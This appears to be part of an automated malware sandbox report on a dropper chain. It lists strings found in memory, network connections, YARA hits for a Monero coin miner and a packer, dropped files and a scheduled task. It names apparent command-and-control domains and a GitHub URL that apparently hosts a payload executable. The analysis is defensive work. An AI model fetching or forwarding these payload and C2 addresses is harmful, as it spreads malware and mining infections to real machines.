Source: d274ed0757.exe, 0000002F.00000003.3253729974.0000000001312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/
Source: d274ed0757.exe, 0000002F.00000002.3257112045.000000000134D000.00000004.00000020.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000003.3253458147.000000000134D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/M
Source: d274ed0757.exe, 0000002F.00000002.3257112045.000000000134D000.00000004.00000020.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000003.3253458147.000000000134D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/U
Source: d274ed0757.exe, 0000002F.00000002.3257112045.000000000132C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/api
Source: d274ed0757.exe, 0000002F.00000003.3253458147.000000000132B000.00000004.00000020.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000002.3257112045.000000000132C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/apijf=
Source: d274ed0757.exe, 0000002F.00000002.3257112045.000000000134D000.00000004.00000020.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000003.3253458147.000000000134D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/m
Source: ANEDNjf.exe, 0000000D.00000003.2930667070.00000000053DD000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2956903146.00000000053DD000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3027879665.0000000003AFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: ANEDNjf.exe, 0000000D.00000003.2908849694.00000000053E4000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3027879665.0000000003AFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: powershell.exe, 0000000B.00000002.2765990104.00000000060F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000B.00000002.2765990104.00000000060F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000B.00000002.2765990104.00000000060F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: ANEDNjf.exe, 0000000D.00000003.2858410537.0000000005398000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2858547574.0000000005398000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2858333098.000000000539B000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2937155557.0000000003AB8000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2937367783.0000000003AB8000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2936940880.0000000003ABB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: ANEDNjf.exe, 0000000D.00000003.2858410537.0000000005398000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2858547574.0000000005398000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2858333098.000000000539B000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2937155557.0000000003AB8000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2937367783.0000000003AB8000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2936940880.0000000003ABB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: ANEDNjf.exe, 0000000D.00000003.2858410537.0000000005398000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2858547574.0000000005398000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2858333098.000000000539B000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2937155557.0000000003AB8000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2937367783.0000000003AB8000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2936940880.0000000003ABB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: kf5cl0F.exe, 00000006.00000002.2859972775.0000000002A6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com
Source: powershell.exe, 0000000B.00000002.2754644039.00000000051E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: skotes.exe, 00000005.00000002.3352179189.0000000001237000.00000004.00000020.00020000.00000000.sdmp, kf5cl0F.exe, 00000006.00000002.2859972775.00000000029E2000.00000004.00000800.00020000.00000000.sdmp, kf5cl0F.exe, 00000006.00000000.2672731249.0000000000632000.00000002.00000001.01000000.00000009.sdmp, kf5cl0F.exe, 00000006.00000002.2859972775.00000000029F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Urijas/moperats/raw/refs/heads/main/jthjjdweajtujhjad.exe
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3027879665.0000000003AFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: powershell.exe, 00000008.00000002.2721573085.0000000005CA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2765990104.00000000060F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: kf5cl0F.exe, 00000006.00000002.2859972775.0000000002AA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com
Source: kf5cl0F.exe, 00000006.00000002.2859972775.0000000002AA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/Urijas/moperats/refs/heads/main/jthjjdweajtujhjad.exe
Source: Sibuia.exe, 0000002C.00000000.3078840002.0000000000739000.00000002.00000001.01000000.00000016.sdmp	String found in binary or memory: https://region1.google-analytics.com/g/collect
Source: Sibuia.exe, 0000002C.00000002.3100133048.0000000000865000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://region1.google-analytics.com/g/collect?v=2&tid=G-HGTEW3N9CB&_p=1729871976126&gcd=13l3l3l2l1l
Source: Sibuia.exe, 0000002C.00000002.3100287066.0000000000886000.00000004.00000020.00020000.00000000.sdmp, Sibuia.exe, 0000002C.00000003.3098584910.0000000000883000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://region1.google-analytics.com/x
Source: Sibuia.exe, 0000002C.00000002.3100315588.000000000089D000.00000004.00000020.00020000.00000000.sdmp, Sibuia.exe, 0000002C.00000003.3099045230.000000000089D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://region1.google-analytics.com:443/g/collect?v=2&tid=G-HGTEW3N9CB&_p=1729871976126&gcd=13l3l3l
Source: skotes.exe, 00000005.00000002.3352179189.0000000001286000.00000004.00000020.00020000.00000000.sdmp, Dh5yvWY.exe, 0000002B.00000002.3106984157.000000000040A000.00000004.00000001.01000000.00000014.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2999356212.0000000003DA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2999356212.0000000003DA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: ANEDNjf.exe, ANEDNjf.exe, 0000000D.00000003.2935491056.00000000053F7000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2936171455.00000000053F7000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2905496020.00000000053DB000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2882513604.00000000053DB000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2932088789.00000000053F7000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2906148174.00000000053DB000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2906361055.00000000053DB000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.3013477389.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2882027603.00000000053D8000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2930532874.00000000053F7000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.3013089460.00000000053DB000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000002.3015246344.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2956712904.00000000053F7000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2882088587.00000000053D8000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2882667699.00000000053DB000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2883162086.00000000053DB000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2930252937.00000000053F7000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2975865332.00000000053DB000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2881830607.00000000053D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/
Source: ANEDNjf.exe, 0000000D.00000003.3013477389.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000002.3015246344.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/0
Source: ANEDNjf.exe, 0000000D.00000003.2935491056.00000000053F7000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2936171455.00000000053F7000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2905496020.00000000053DB000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2932088789.00000000053F7000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2905610990.00000000053F0000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2930532874.00000000053F7000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2906148174.00000000053F4000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2956712904.00000000053F7000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2930252937.00000000053F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/J
Source: ANEDNjf.exe, 0000000D.00000003.3013226393.0000000000E2B000.00000004.00000020.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000002.3015374228.0000000000E2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/Q
Source: ANEDNjf.exe, 0000000D.00000003.2956837000.0000000000E43000.00000004.00000020.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.3013477389.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2906338388.0000000000E53000.00000004.00000020.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2976117198.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000002.3015246344.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.3013226393.0000000000E2B000.00000004.00000020.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2936748538.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2906308847.00000000053DD000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2936105757.0000000000E32000.00000004.00000020.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.3013578942.0000000000E53000.00000004.00000020.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000002.3015374228.0000000000E2B000.00000004.00000020.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2958252059.0000000000E43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/api
Source: ANEDNjf.exe, 0000000D.00000003.3013226393.0000000000E2B000.00000004.00000020.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000002.3015374228.0000000000E2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/apiGy
Source: ANEDNjf.exe, 0000000D.00000003.3013226393.0000000000E2B000.00000004.00000020.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000002.3015374228.0000000000E2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/apiQyU
Source: ANEDNjf.exe, 0000000D.00000003.2905496020.00000000053DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/apiZ
Source: ANEDNjf.exe, 0000000D.00000003.2976117198.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.3013578942.0000000000E53000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/apik
Source: ANEDNjf.exe, 0000000D.00000002.3014997349.0000000000DB3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click:443/api
Source: ANEDNjf.exe, 0000000D.00000003.2930667070.00000000053DD000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2956903146.00000000053DD000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3027879665.0000000003AFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3027879665.0000000003AFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: ANEDNjf.exe, 0000000D.00000003.2858410537.0000000005398000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2858547574.0000000005398000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2858333098.000000000539B000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2937155557.0000000003AB8000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2937367783.0000000003AB8000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2936940880.0000000003ABB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: ANEDNjf.exe, 0000000D.00000003.2858410537.0000000005398000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2858547574.0000000005398000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2858333098.000000000539B000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2937155557.0000000003AB8000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2937367783.0000000003AB8000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2936940880.0000000003ABB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2999356212.0000000003DA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2999356212.0000000003DA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: ANEDNjf.exe, 0000000D.00000003.2908117114.0000000005685000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2999356212.0000000003DA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2999356212.0000000003DA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: ANEDNjf.exe, 0000000D.00000003.2908117114.0000000005685000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2999356212.0000000003DA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: ANEDNjf.exe, 0000000D.00000003.2908117114.0000000005685000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2999356212.0000000003DA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: Intel_PTT_EK_Recertification.exe, 00000025.00000003.2984138582.000001D52EF30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000026.00000002.2990997382.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, Intel_PTT_EK_Recertification.exe, 00000030.00000003.3184765854.00000206F2C30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000031.00000002.3191260384.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/docs/algorithms
Source: Intel_PTT_EK_Recertification.exe, 00000025.00000003.2984138582.000001D52EF30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000026.00000002.2990997382.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, Intel_PTT_EK_Recertification.exe, 00000030.00000003.3184765854.00000206F2C30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000031.00000002.3191260384.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/wizard
Source: Intel_PTT_EK_Recertification.exe, 00000025.00000003.2984138582.000001D52EF30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000026.00000002.2990997382.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, Intel_PTT_EK_Recertification.exe, 00000030.00000003.3184765854.00000206F2C30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000031.00000002.3191260384.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/wizard%s

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822

Source: unknown	HTTPS traffic detected: 172.67.180.113:443 -> 192.168.2.5:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.233.83.145:443 -> 192.168.2.5:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.111.133:443 -> 192.168.2.5:49809 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.180.113:443 -> 192.168.2.5:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.180.113:443 -> 192.168.2.5:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.85:443 -> 192.168.2.5:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.180.113:443 -> 192.168.2.5:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.85:443 -> 192.168.2.5:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.180.113:443 -> 192.168.2.5:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.180.113:443 -> 192.168.2.5:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.85:443 -> 192.168.2.5:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.180.113:443 -> 192.168.2.5:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.85:443 -> 192.168.2.5:49821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.85:443 -> 192.168.2.5:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.85:443 -> 192.168.2.5:49826 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.85:443 -> 192.168.2.5:49830 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.5:49832 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 44.2.Sibuia.exe.590000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables packed with Silent Install Builder Author: ditekSHen
Source: 44.0.Sibuia.exe.590000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables packed with Silent Install Builder Author: ditekSHen
Source: 37.3.Intel_PTT_EK_Recertification.exe.1d52ef30000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 37.3.Intel_PTT_EK_Recertification.exe.1d52ef30000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 49.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 49.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 38.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 38.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 48.3.Intel_PTT_EK_Recertification.exe.206f2c30000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 48.3.Intel_PTT_EK_Recertification.exe.206f2c30000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 37.3.Intel_PTT_EK_Recertification.exe.1d52ef30000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 37.3.Intel_PTT_EK_Recertification.exe.1d52ef30000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 48.3.Intel_PTT_EK_Recertification.exe.206f2c30000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 48.3.Intel_PTT_EK_Recertification.exe.206f2c30000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 00000025.00000003.2984138582.000001D52EF30000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 00000025.00000003.2984138582.000001D52EF30000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 00000030.00000003.3184765854.00000206F2C30000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 00000030.00000003.3184765854.00000206F2C30000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects coinmining malware Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe, type: DROPPED	Matched rule: Detects executables packed with Silent Install Builder Author: ditekSHen

Drops password protected ZIP file

Source: file.bin.15.dr

Zip Entry: encrypted

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: ANEDNjf[1].exe.5.dr	Static PE information: section name:
Source: ANEDNjf[1].exe.5.dr	Static PE information: section name: .idata
Source: ANEDNjf[1].exe.5.dr	Static PE information: section name:
Source: ANEDNjf.exe.5.dr	Static PE information: section name:
Source: ANEDNjf.exe.5.dr	Static PE information: section name: .idata
Source: ANEDNjf.exe.5.dr	Static PE information: section name:
Source: random[1].exe0.5.dr	Static PE information: section name:
Source: random[1].exe0.5.dr	Static PE information: section name: .idata
Source: random[1].exe0.5.dr	Static PE information: section name:
Source: d274ed0757.exe.5.dr	Static PE information: section name:
Source: d274ed0757.exe.5.dr	Static PE information: section name: .idata
Source: d274ed0757.exe.5.dr	Static PE information: section name:
Source: random[1].exe1.5.dr	Static PE information: section name:
Source: random[1].exe1.5.dr	Static PE information: section name: .idata
Source: random[1].exe1.5.dr	Static PE information: section name:

PE file has nameless sections

Source: 01b80870ed45442fb720b666633425f9.exe.6.dr	Static PE information: section name:
Source: 01b80870ed45442fb720b666633425f9.exe.6.dr	Static PE information: section name:
Source: 01b80870ed45442fb720b666633425f9.exe.6.dr	Static PE information: section name:
Source: 01b80870ed45442fb720b666633425f9.exe.6.dr	Static PE information: section name:
Source: 01b80870ed45442fb720b666633425f9.exe.6.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 5_2_0018CB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,

5_2_0018CB97

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00308860	0_2_00308860
